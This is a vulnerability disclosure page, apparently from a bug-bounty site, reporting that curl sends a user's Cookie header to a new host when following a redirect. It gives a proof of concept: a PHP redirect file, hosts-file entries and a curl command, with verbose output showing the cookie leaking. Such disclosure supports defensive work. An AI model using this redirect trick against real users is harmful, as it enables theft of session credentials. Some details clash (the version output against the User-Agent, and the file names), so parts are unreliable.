cookie is sent on redirect
Curl follows an HTTP redirect and forwards the original Cookie header to the new host, even when the host changes. An attacker who controls a redirect can steal the user's cookies.
- Disclosed after 55 days
Summary:
[add summary of the vulnerability]
Curl can be coaxed to leak user credentials to third-party host by issuing HTTP redirect.
Steps To Reproduce:
[add details for how we can reproduce the issue]
1.Create a 302.php file, such as:
<?php
header("Location: http://a.com:8000");
?>
Add the 2 record in the /etc/hosts file:
127.0.0.1 a.com
127.0.0.1 b.com
- curl -vv --cookie 'aaa=2222' http://b.com/302a.php -L
The redirect will be followed, and the confidential headers cookie will be sent to a.com:
# ./curl -V
curl 8.6.0 (x86_64-pc-linux-gnu) libcurl/8.6.0 OpenSSL/1.0.2k-fips zlib/1.2.7
Release-Date: 2024-01-31
Protocols: dict file ftp ftps gopher gophers http https imap imaps ipfs ipns mqtt pop3 pop3s rtsp smb smbs smtp smtps telnet tftp
Features: alt-svc AsynchDNS HSTS HTTPS-proxy IPv6 Largefile libz NTLM SSL threadsafe UnixSockets
# curl -vv --cookie 'aaa=2222' http://b.com/302a.php -L
* About to connect() to b.com port 80 (#0)
* Trying 127.0.0.1...
* Connected to b.com (127.0.0.1) port 80 (#0)
> GET /302a.php HTTP/1.1
> User-Agent: curl/7.29.0
> Host: b.com
> Accept: */*
> Cookie: aaa=2222
>
< HTTP/1.1 302 Found
< Date: Fri, 02 Feb 2024 08:49:12 GMT
< Server: Apache/2.4.6 (CentOS) PHP/5.4.16
< X-Powered-By: PHP/5.4.16
< Location: http://a.com:8000
< Content-Length: 0
< Content-Type: text/html; charset=UTF-8
<
* Connection #0 to host b.com left intact
* Issue another request to this URL: 'http://a.com:8000'
* About to connect() to a.com port 8000 (#1)
* Trying 127.0.0.1...
* Connected to a.com (127.0.0.1) port 8000 (#1)
> GET / HTTP/1.1
> User-Agent: curl/7.29.0
> Host: a.com:8000
> Accept: */*
> Cookie: aaa=2222
This does not comply with RFC regulations and is inconsistent with browser behavior, and RFC also states that redirection requires deleting cookies. https://www.ietf.org/rfc/rfc9110.txt
3. Consider removing header fields that were not automatically
generated by the implementation (i.e., those present in the
request because they were added by the calling context) where
there are security implications; this includes but is not limited
to Authorization and Cookie.
Supporting Material/References:
[list any additional material (e.g. screenshots, logs, etc.)]
- [attachment / reference]
https://www.ietf.org/rfc/rfc9110.txt
Impact
Leak of confidential information (user credentials).
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely curl does not strip the Cookie header when following a redirect to a different host, contrary to RFC 9110.
Impact
Leak of confidential information (user credentials).
What the attacker needed
Attacker controls a redirect; victim uses curl with -L and cookies
The fix
Curl should remove the Cookie header when following a redirect to a different host, per RFC 9110.
How it was found
- Create a PHP file that redirects to another host.
- Add two hostnames pointing to localhost in the hosts file.
- Run curl with a cookie and the -L flag to follow redirects.
- Observe that the cookie is sent to the second host.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
When a web server redirects you to another site, your browser normally does not send your cookies to the new site. Curl, a command-line tool for fetching URLs, does send them, which can leak your login information to an attacker.
What is Info disclosure?
Data the application should keep private (personal data, internal details, other users' records) reaches someone it should not.